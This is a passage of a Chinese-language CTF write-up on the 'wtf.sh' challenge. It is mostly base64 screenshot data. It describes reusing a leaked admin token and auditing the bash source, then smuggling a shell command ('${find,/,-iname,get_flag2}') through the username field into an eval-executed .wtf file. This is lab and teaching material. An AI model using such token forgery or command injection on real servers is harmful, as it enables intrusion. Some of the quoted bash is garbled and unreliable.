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" alt=""></p><p>可以看到,这里面cookie中有一个token,另外username可以直接修改为admin,因此需要获取到admin的token</p><p>观察到token貌似为base64编码,但是尝试后并不是…只能看看是否有哪里藏有这一信息,回到刚刚的源码中,查找一些是否有user信息,发现有一个users,将其放到post参数中可以得到admin的token。</p><p>得到了admin的token,于是抓包改包,将自己账户设置为admin,多查看几个页面,发现在打开"Profile"页时可以得到flag的一部分(果然flag是分部分的)</p><h3 id="flag2">flag2</h3><p>下面考虑如何找到flag的其他部分,这里继续审计刚刚查找出来的源码,看是否能够找到一些其他可以利用的地方,获取flag的其他部分。</p><p>这里有两个技巧,一个是看常用的一些关键路径,一个是直接关键词搜索"exec"看看是否有可以命令注入执行的函数,发现有一个"#!/usr/local/bin/bash"文件,对代码进行审计,得到源码如下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">max_page_include_depth=64</span><br><span class="line">page_include_depth=0</span><br><span class="line"><span class="keyword">function</span> include_page {</span><br><span class="line"></span><br><span class="line"> <span class="comment"># include_page pathname</span></span><br><span class="line"> <span class="built_in">local</span> pathname=<span class="variable">$1</span></span><br><span class="line"> <span class="built_in">local</span> cmd=</span><br><span class="line"> [[ <span class="variable">${pathname(-4)}</span> = <span class="string">'.wtf'</span> ]];</span><br><span class="line"> <span class="built_in">local</span> can_execute=$;</span><br><span class="line"> page_include_depth=$((<span class="variable">$page_include_depth</span>+1))</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> [[ <span class="variable">$page_include_depth</span> -lt <span class="variable">$max_page_include_depth</span> ]]</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">local</span> line;</span><br><span class="line"> <span class="keyword">while</span> <span class="built_in">read</span> -r line; <span class="keyword">do</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># check if we're in a script line or not ($ at the beginning implies script line)</span></span><br><span class="line"> <span class="comment"># also, our extension needs to be .wtf</span></span><br><span class="line"> </span><br><span class="line"> [[ $ = <span class="variable">${line01}</span> && <span class="variable">${can_execute}</span> = 0 ]];</span><br><span class="line"> is_script=$;</span><br><span class="line"> <span class="comment"># execute the line.</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> [[ <span class="variable">$is_script</span> = 0 ]]</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> cmd+=$<span class="string">'n'</span><span class="variable">${line#$}</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">if</span> [[ -n <span class="variable">$cmd</span> ]]</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">eval</span> <span class="variable">$cmd</span> <span class="built_in">log</span> Error during execution of <span class="variable">${cmd}</span>;</span><br><span class="line"> cmd=</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> </span><br><span class="line"> <span class="built_in">echo</span> <span class="variable">$line</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">done</span> <span class="variable">${pathname}</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> pMax include depth exceeded!</span><br><span class="line"> pfi</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>审计源码,可以看出,改代码可以上传wtf文件,并且可以执行这一文件,于是尝试上传wtf文件或者注入wtf命令以达到命令执行获取flag的目的,但是这里并没有给出如何进行上传,需要继续审计代码。看到下面的代码:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> reply {</span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> post_id=<span class="variable">$1</span>;</span><br><span class="line"> <span class="built_in">local</span> username=<span class="variable">$2</span>;</span><br><span class="line"> <span class="built_in">local</span> text=<span class="variable">$3</span>;</span><br><span class="line"> <span class="built_in">local</span> hashed=$(hash_username <span class="string">"<span class="variable">${username}</span>"</span>);</span><br><span class="line"></span><br><span class="line"> curr_id=$(<span class="keyword">for</span> d <span class="keyword">in</span> posts/<span class="variable">${post_id}</span>/*; <span class="keyword">do</span> basename <span class="variable">$d</span>; <span class="keyword">done</span> | sort -n | tail -n 1);</span><br><span class="line"> next_reply_id=$(awk <span class="string">'{print $1+1}'</span> <<< <span class="string">"<span class="variable">${curr_id}</span>"</span>);</span><br><span class="line"> next_file=(posts/<span class="variable">${post_id}</span>/<span class="variable">${next_reply_id}</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">${username}</span>"</span> > <span class="string">"<span class="variable">${next_file}</span>"</span>;</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"RE: <span class="variable">$(nth_line 2 < "posts/${post_id}/1")</span>"</span> >> <span class="string">"<span class="variable">${next_file}</span>"</span>;</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">${text}</span>"</span> >> <span class="string">"<span class="variable">${next_file}</span>"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment"># add post this is in reply to to posts cache</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">${post_id}</span>/<span class="variable">${next_reply_id}</span>"</span> >> <span class="string">"users_lookup/<span class="variable">${hashed}</span>/posts"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里发现可以通过post上传文件,另外这里在发post的时候,“echo “${username}” > “${next_file}”;” 这一句会将用户名写入到wtf文件中,于是想到可以将命令构造为用户名注入到wtf文件中,由服务器执行即可获取flag,这里需要注意wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$'的行。</p><p>需要先构造一个payload查询flag文件名,这里创建用户为 ${find,/,-iname,get_flag2} ,因为上面是reply函数,所以抓取reply的包进行改包。另外的话,在改包时将post修改为上传的wtf文件,这里注意需要添加%09,否则不会将这个文件进行解析,而是将其看成是目录<br>抓包改包发送后,访问wtf文件,可以看到命令执行后的回显</p><p><img src="data:image/png;base64,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